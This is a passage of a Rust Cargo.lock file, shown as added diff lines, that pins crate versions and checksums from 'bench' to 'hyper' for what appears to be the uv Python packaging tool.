"9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "bench" +version = "0.0.0" +dependencies = [ + "criterion", + "distribution-filename", + "platform-tags", +] + +[[package]] +name = "bisection" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "021e079a1bab0ecce6cf4b4b74c0c37afa4a697136eb3b127875c84a8f04a8c3" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" + +[[package]] +name = "bitvec" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" +dependencies = [ + "funty", + "radium", + "tap", + "wyz", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "brotli" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor", +] + +[[package]] +name = "brotli-decompressor" +version = "2.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bstr" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc" +dependencies = [ + "memchr", + "regex-automata 0.4.5", + "serde", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "bytecheck" +version = "0.6.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23cdc57ce23ac53c931e88a43d06d070a6fd142f2617be5855eb75efc9beb1c2" +dependencies = [ + "bytecheck_derive", + "ptr_meta", + "simdutf8", +] + +[[package]] +name = "bytecheck_derive" +version = "0.6.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3db406d29fbcd95542e92559bed4d8ad92636d1ca8b3b72ede10b4bcc010e659" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "bytemuck" +version = "1.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cache-key" +version = "0.0.1" +dependencies = [ + "hex", + "seahash", + "url", +] + +[[package]] +name = "cachedir" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4703f3937077db8fa35bee3c8789343c1aec2585f0146f09d658d4ccc0e8d873" +dependencies = [ + "tempfile", +] + +[[package]] +name = "cargo-util" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74862c3c6e53a1c1f8f0178f9d38ab41e49746cd3a7cafc239b3d0248fd4e342" +dependencies = [ + "anyhow", + "core-foundation", + "filetime", + "hex", + "ignore", + "jobserver", + "libc", + "miow", + "same-file", + "sha2", + "shell-escape", + "tempfile", + "tracing", + "walkdir", + "windows-sys 0.52.0", +] + +[[package]] +name = "cast" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5" + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "jobserver", + "libc", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "charset" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18e9079d1a12a2cc2bffb5db039c43661836ead4082120d5844f02555aca2d46" +dependencies = [ + "base64 0.13.1", + "encoding_rs", +] + +[[package]] +name = "chrono" +version = "0.4.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-targets 0.52.0", +] + +[[package]] +name = "ciborium" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e" +dependencies = [ + "ciborium-io", + "ciborium-ll", + "serde", +] + +[[package]] +name = "ciborium-io" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757" + +[[package]] +name = "ciborium-ll" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9" +dependencies = [ + "ciborium-io", + "half", +] + +[[package]] +name = "clap" +version = "4.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80c21025abd42669a92efc996ef13cfb2c5c627858421ea58d5c3b331a6c134f" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "458bf1f341769dfcf849846f65dffdf9146daa56bcd2a47cb4e1de9915567c99" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_complete" +version = "4.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "885e4d7d5af40bfb99ae6f9433e292feac98d452dcb3ec3d25dfe7552b77da8c" +dependencies = [ + "clap", +] + +[[package]] +name = "clap_complete_command" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "183495371ea78d4c9ff638bfc6497d46fed2396e4f9c50aebc1278a4a9919a3d" +dependencies = [ + "clap", + "clap_complete", + "clap_complete_fig", + "clap_complete_nushell", +] + +[[package]] +name = "clap_complete_fig" +version = "4.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54b3e65f91fabdd23cac3d57d39d5d938b4daabd070c335c006dccb866a61110" +dependencies = [ + "clap", + "clap_complete", +] + +[[package]] +name = "clap_complete_nushell" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d02bc8b1a18ee47c4d2eec3fb5ac034dc68ebea6125b1509e9ccdffcddce66e" +dependencies = [ + "clap", + "clap_complete", +] + +[[package]] +name = "clap_derive" +version = "4.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "clap_lex" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" + +[[package]] +name = "cmake" +version = "0.1.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a31c789563b815f77f4250caee12365734369f942439b7defd71e18a48197130" +dependencies = [ + "cc", +] + +[[package]] +name = "color_quant" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "concurrent-queue" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "configparser" +version = "3.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ec6d3da8e550377a85339063af6e3735f4b1d9392108da4e083a1b3b9820288" + +[[package]] +name = "console" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e1f83fc076bd6dd27517eacdf25fef6c4dfe5f1d7448bafaaf3a26f13b5e4eb" +dependencies = [ + "encode_unicode", + "lazy_static", + "libc", + "unicode-width", + "windows-sys 0.52.0", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "cpufeatures" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "criterion" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f" +dependencies = [ + "anes", + "cast", + "ciborium", + "clap", + "criterion-plot", + "is-terminal", + "itertools 0.10.5", + "num-traits", + "once_cell", + "oorandom", + "regex", + "serde", + "serde_derive", + "serde_json", + "tinytemplate", + "walkdir", +] + +[[package]] +name = "criterion-plot" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1" +dependencies = [ + "cast", + "itertools 0.10.5", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" + +[[package]] +name = "crunchy" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "csv" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac574ff4d437a7b5ad237ef331c17ccca63c46479e5b5453eb8e10bb99a759fe" +dependencies = [ + "csv-core", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "csv-core" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5efa2b3d7902f4b634a20cae3c9c4e6209dc4779feb6863329607560143efa70" +dependencies = [ + "memchr", +] + +[[package]] +name = "ctrlc" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b467862cc8610ca6fc9a1532d7777cee0804e678ab45410897b9396495994a0b" +dependencies = [ + "nix", + "windows-sys 0.52.0", +] + +[[package]] +name = "dashmap" +version = "5.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" +dependencies = [ + "cfg-if", + "hashbrown 0.14.3", + "lock_api", + "once_cell", + "parking_lot_core 0.9.9", +] + +[[package]] +name = "data-encoding" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" + +[[package]] +name = "data-url" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d7439c3735f405729d52c3fbbe4de140eaf938a1fe47d227c27f8254d4302a5" + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "derivative" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "difflib" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "directories" +version = "5.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a49173b84e034382284f27f1af4dcbbd231ffa358c0fe316541a7337f376a35" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.48.0", +] + +[[package]] +name = "distribution-filename" +version = "0.0.1" +dependencies = [ + "insta", + "pep440_rs", + "platform-tags", + "rkyv", + "serde", + "thiserror", + "url", + "uv-normalize", +] + +[[package]] +name = "distribution-types" +version = "0.0.1" +dependencies = [ + "anyhow", + "cache-key", + "data-encoding", + "distribution-filename", + "fs-err", + "itertools 0.12.1", + "once_cell", + "pep440_rs", + "pep508_rs", + "platform-tags", + "pypi-types", + "rkyv", + "rustc-hash", + "serde", + "serde_json", + "sha2", + "thiserror", + "tracing", + "url", + "urlencoding", + "uv-auth", + "uv-fs", + "uv-git", + "uv-normalize", +] + +[[package]] +name = "doc-comment" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fea41bba32d969b513997752735605054bc0dfa92b4c56bf1189f2e174be7a10" + +[[package]] +name = "dunce" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b" + +[[package]] +name = "either" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" + +[[package]] +name = "encode_unicode" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f" + +[[package]] +name = "encoding_rs" +version = "0.8.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "event-listener" +version = "5.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b5fb89194fa3cad959b833185b3063ba881dbfc7030680b314250779fb4cc91" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "feedafcaa9b749175d5ac357452a9d41ea2911da598fde46ce1fe02c37751291" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "fdeflate" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "filetime" +version = "0.2.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.4.1", + "windows-sys 0.52.0", +] + +[[package]] +name = "fixedbitset" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" + +[[package]] +name = "flate2" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" +dependencies = [ + "crc32fast", + "libz-ng-sys", + "miniz_oxide", +] + +[[package]] +name = "float-cmp" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98de4bbd547a563b716d8dfa9aad1cb19bfab00f4fa09a6a4ed21dbcf44ce9c4" +dependencies = [ + "num-traits", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "fontconfig-parser" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a595cb550439a117696039dfc69830492058211b771a2a165379f2a1a53d84d" +dependencies = [ + "roxmltree 0.19.0", +] + +[[package]] +name = "fontdb" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff20bef7942a72af07104346154a70a70b089c572e454b41bef6eb6cb10e9c06" +dependencies = [ + "fontconfig-parser", + "log", + "memmap2 0.5.10", + "ttf-parser", +] + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fs-err" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88a41f105fe1d5b6b34b2055e3dc59bb79b46b48b2040b9e6c7b4b5de097aa41" +dependencies = [ + "autocfg", + "tokio", +] + +[[package]] +name = "fs2" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9564fc758e15025b46aa6643b1b77d047d1a56a1aea6e01002ac0c7026876213" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "funty" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" + +[[package]] +name = "futures" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-lite" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "445ba825b27408685aaecefd65178908c36c6e96aaf6d8599419d46e624192ba" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi", + "wasm-bindgen", +] + +[[package]] +name = "gif" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80792593675e051cf94a4b111980da2ba60d4a83e43e0048c5693baab3977045" +dependencies = [ + "color_quant", + "weezl", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "git2" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b3ba52851e73b46a4c3df1d89343741112003f0f6f13beb0dfac9e457c3fdcd" +dependencies = [ + "bitflags 2.4.2", + "libc", + "libgit2-sys", + "log", + "openssl-probe", + "openssl-sys", + "url", +] + +[[package]] +name = "glob" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" + +[[package]] +name = "globset" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" +dependencies = [ + "aho-corasick", + "bstr", + "log", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", +] + +[[package]] +name = "globwalk" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf760ebf69878d9fd8f110c89703d90ce35095324d1f1edcb595c63945ee757" +dependencies = [ + "bitflags 2.4.2", + "ignore", + "walkdir", +] + +[[package]] +name = "goblin" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb07a4ffed2093b118a525b1d8f5204ae274faed5604537caf7135d0f18d9887" +dependencies = [ + "log", + "plain", + "scroll", +] + +[[package]] +name = "h2" +version = "0.3.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap 2.2.3", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "half" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc52e53916c08643f1b56ec082790d1e86a32e58dc5268f897f313fbae7b4872" +dependencies = [ + "cfg-if", + "crunchy", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" +dependencies = [ + "ahash", +] + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd5256b483761cd23699d0da46cc6fd2ee3be420bbe6d020ae4a091e70b7e9fd" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "home" +version = "0.5.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "html-escape" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d1ad449764d627e22bfd7cd5e8868264fc9236e07c752972b4080cd351cb476" +dependencies = [ + "utf8-width", +] + +[[package]] +name = "http" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "http-content-range" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f0d1a8ef218a86416107794b34cc446958d9203556c312bb41eab4c924c1d2e" + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "0.14.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80" +dependencies = 